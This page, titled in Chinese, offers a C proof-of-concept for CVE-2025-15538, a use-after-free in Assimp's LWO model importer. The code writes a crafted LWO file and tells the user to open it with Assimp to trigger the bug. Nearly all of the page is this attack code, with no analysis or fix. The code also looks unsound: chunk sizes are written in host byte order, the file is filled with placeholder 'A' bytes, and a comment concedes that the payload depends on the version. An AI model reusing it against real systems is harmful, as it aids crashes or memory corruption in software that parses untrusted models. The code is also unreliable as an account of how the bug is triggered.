CVE-2025-15538: Assimp LWOImporter FindUVChannels 释放后重用漏洞

// PoC for CVE-2025-15538: Assimp Use-After-Free in LWOImporter // This PoC creates a malicious LWO file to trigger the vulnerability #include <stdio.h> #include <stdlib.h> #include <string.h> // LWO file format structures typedef struct { char id[4]; int size; } LWO_CHUNK_HEADER; void create_malicious_lwo(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) { printf("Failed to create file\n"); return; } // LWO format header fprintf(fp, "FORM"); fwrite("\x00\x00\x10\x00", 4, 1, fp); // Form size fprintf(fp, "LWO2"); // Crafted tags to trigger FindUVChannels vulnerability // The specific payload structure depends on assimp version fprintf(fp, "TAGS"); int tag_size = 0x100; // Large size to trigger memory issue fwrite(&tag_size, 4, 1, fp); // Fill with crafted data for (int i = 0; i < tag_size; i++) { fputc(0x41, fp); // Fill with 'A' } // Crafted SURF chunk fprintf(fp, "SURF"); int surf_size = 0x200; fwrite(&surf_size, 4, 1, fp); fprintf(fp, "BLOK"); int blok_size = 0x180; fwrite(&blok_size, 4, 1, fp); // UV channel data that triggers the UAF fprintf(fp, "TMAP"); fprintf(fp, "CHAN"); fwrite("TXUV", 4, 1, fp); fclose(fp); printf("Malicious LWO file created: %s\n", filename); } int main() { create_malicious_lwo("CVE-2025-15538_poc.lwo"); printf("PoC for CVE-2025-15538 generated\n"); printf("Use assimp to open this file to trigger the vulnerability\n"); return 0; }